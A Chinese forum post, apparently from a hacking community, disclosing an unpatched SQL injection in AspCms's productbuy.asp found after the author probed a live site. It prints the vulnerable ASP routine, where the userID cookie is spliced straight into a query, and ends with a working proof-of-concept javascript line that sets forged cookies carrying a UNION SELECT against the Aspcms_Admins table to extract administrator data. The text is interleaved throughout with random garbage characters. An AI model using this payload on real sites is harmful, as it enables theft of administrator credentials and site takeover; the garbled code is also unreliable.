好久没上土司了,上来一看发现在删号名单内.....
0 N q$ R1 O% ]$ S: o$ s* C( {4 K也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
6 M; C- O2 d% B5 @* A废话不多说,看代码:& N: u7 w7 ?6 B- s
# J% S$ T/ z" K" ^* X<%" w$ K6 T2 m; Y% j+ c# Q; F
2 O/ U1 l' }/ j. K+ r: t
if action = "buy" then
" V |* E V4 X7 p
4 |$ l0 @" N7 G; [. g addOrder()3 K9 ]% m) z3 b1 W% k
) c1 p3 W0 n4 [
else
' o& D- ^( x- [4 t% Q+ l# [
* S3 D8 F6 V9 T echoContent()
% @& P0 J/ A3 g/ L* K+ W% @' J
$ [/ N+ ~1 d9 K v; _; \& k; _end if7 \4 S1 t8 `: v7 T+ \
* j: Y- z, J0 j F% u/ A
: V5 J( C& G; ]4 W3 M4 f) j- Z' V e
……略过
& K5 ^ P" C, P% f& Q A# l6 M- y- v
9 ?" b" {; q$ M% k- @) r
4 k) W- s- L* b% `Sub echoContent()
( @+ a: C. a. r" {- o
" M! A B- s* Q; V% }: N& g3 N dim id c, T/ Z( V: m3 v/ f5 f" z! g
, s1 u, t5 `$ x* O- w$ P+ a3 B
id=getForm("id","get")
* l0 k$ i1 i- z- [! H( e
3 u! P% ]; x5 @7 k1 ?' V7 O' C
P# g2 K( i/ F; v$ ]
, t6 ?% n5 j# x9 x4 M8 H( o5 { if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
. A& J* O2 f7 A. P" N* {: @7 @3 m* i0 R, \6 j' V$ u
3 Z) P' w$ [* {4 p3 b/ Q) M5 r& r8 p
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
7 c. ?# b6 Q* S" r+ z; A5 \5 e5 r: w4 X+ C! R
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct ?4 R7 R L; E# U! i
0 V K P/ r; W
Dim templatePath,tempStr7 T3 O+ y! ^; b" A& @/ {
, I& b, J( U6 k- ~$ u# Q% E' l# ~- ~ templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
% W9 V! E$ x: x. J- v4 w, d4 x
& m& N; A3 x" S4 \; _' ^, G' s
4 ~3 [3 {$ W+ R( Q
6 `$ |) C$ h+ y1 {4 H8 o1 z set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")+ l+ d8 T ~( @$ ?; M3 ]
) j' `/ P. N( s3 l, |6 ^. _* H9 g
selectproduct=rsObj(0)- D; w5 x6 l o: w0 N, F
6 O3 ]; d6 s& e; g8 y
. Z& g/ w1 z* k5 B( N
% ^; v6 m+ u6 x' W& ^5 p: j Dim linkman,gender,phone,mobile,email,qq,address,postcode
1 u2 M1 W! j& }4 r# Z0 W0 z% G; Z1 C2 S- M- U
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0/ j% ~1 X; D9 {
& } b* P" v1 R7 T0 B
if rCookie("loginstatus")=1 then % _! k3 d3 E# [8 L
9 i8 Q9 D! ]; b set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
& b5 B9 G$ ` U; ~4 A0 {
+ K$ X9 I3 k$ |# Y5 e linkman=rsObj("truename")+ y7 o, M9 z( ]+ e7 T+ H
3 l8 q+ D+ O, }2 `- E1 ^" O+ F; O! Z gender=rsObj("gender")2 o' a9 \5 J) n5 r8 c. W; T$ E- R& o: M
: @, \' z7 o* T% G; m6 F. ] phone=rsObj("phone")5 J; {6 Z3 x0 d$ Y0 ^
3 c: ~9 N j. ?# \1 r C, O7 h3 l mobile=rsObj("mobile"); m+ z, Q( u* a& j
2 [# V) @& g+ U9 }# u1 l+ c email=rsObj("email")
8 [& Y* V0 e7 h2 r# {( K* _5 a
6 `# [5 U9 C1 ~ P$ ?& | qq=rsObj("qq"); ~0 B. y' m8 ]
. Q' ?+ Y# F; @, t4 q
address=rsObj("address")6 n! t6 ]% h5 F" r* B) i1 R
8 p* g; b& U9 \. J: O) U
postcode=rsObj("postcode")5 o" @; x ~: J/ q
; b6 p( w( h2 X8 E else
t- y- y: r7 ?2 `; K: C# a% i/ ~7 O& w+ Q7 T
gender=1+ g9 v4 Q3 `7 e5 z
) R; ?. @2 W& [! i- ^5 s
end if
! i9 k; O5 s7 y- L
& f& g ?& D. o/ o: k rsObj.close()6 F8 i, H5 `" u( ?8 B! E/ }3 m
5 H5 |8 V, S+ u * F" P# q. _5 g, Q7 a* l
: F7 z w3 e1 n( w with templateObj
2 m& x/ @% m& v$ P9 u+ e: L& ]: [7 M
.content=loadFile(templatePath)
3 `, [! A' `% N3 A! v* o4 t9 U0 X+ X
.parseHtml()
8 J5 Z% h( I+ k5 Z, T% `2 c; w8 ^0 e# [. s; i- B
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)" d+ G2 Q# N2 H/ _
M0 T j; v) |0 ~% y. V% E
.content=replaceStr(.content,"[aspcms:linkman]",linkman) 3 `* f2 u. T1 F# V& J6 m2 ?* {
`* J& ]: P& K0 U& ~6 { .content=replaceStr(.content,"[aspcms:gender]",gender) 0 j8 [& p: S5 c& s- Z
, x+ q* L. i7 i% z
.content=replaceStr(.content,"[aspcms:phone]",phone)
7 C/ M, Y: K3 ^* P+ E% w
& d9 t; o4 J# H0 e0 J .content=replaceStr(.content,"[aspcms:mobile]",mobile) ! H2 E( H4 O3 B" b# R+ i! |
5 l Q7 ?6 M% c1 f; h8 c2 X' W
.content=replaceStr(.content,"[aspcms:email]",email) J& L8 _9 Y2 u. l& ^6 H
8 G5 A/ i1 W" ~9 @4 E$ |. P# R
.content=replaceStr(.content,"[aspcms:qq]",qq) ' }: x% s4 ? r' Y
: {/ O' l1 `$ p+ w3 _; _, B8 K, H& r
.content=replaceStr(.content,"[aspcms:address]",address) 9 t: v( D, p6 I- y
, U% E' w3 _2 R* v
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
1 L' H% {' o& B4 e \' F( C9 k
2 }0 A" S2 o0 ] G5 A; T* g .parseCommon() % m3 n. j4 n0 {" i2 C/ n, H F
1 m. |0 B' _ A, a7 K
echo .content
6 n: ^; i) e- _% C' D2 F6 |- L; o7 h; y$ p: ]) h# X
end with# b7 m, D1 D! k: U! U8 J8 R. N
7 }% Q! S6 q1 q9 X
set templateobj =nothing : terminateAllObjects- f' |) c' r" n& Z, d( o6 J/ J
" p0 p- |$ a+ M5 `) _9 o4 m7 K) J3 ]End Sub
; m' b% T" p9 z/ E! w9 C漏洞很明显,没啥好说的
2 n- G! |. v* Fpoc:8 r. }! g8 X/ {1 I
& N% F) U+ U" C! w8 i8 zjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
7 w$ l" R8 R0 \+ L0 \. X, Y
: D( p& u- C0 @$ l, x+ c |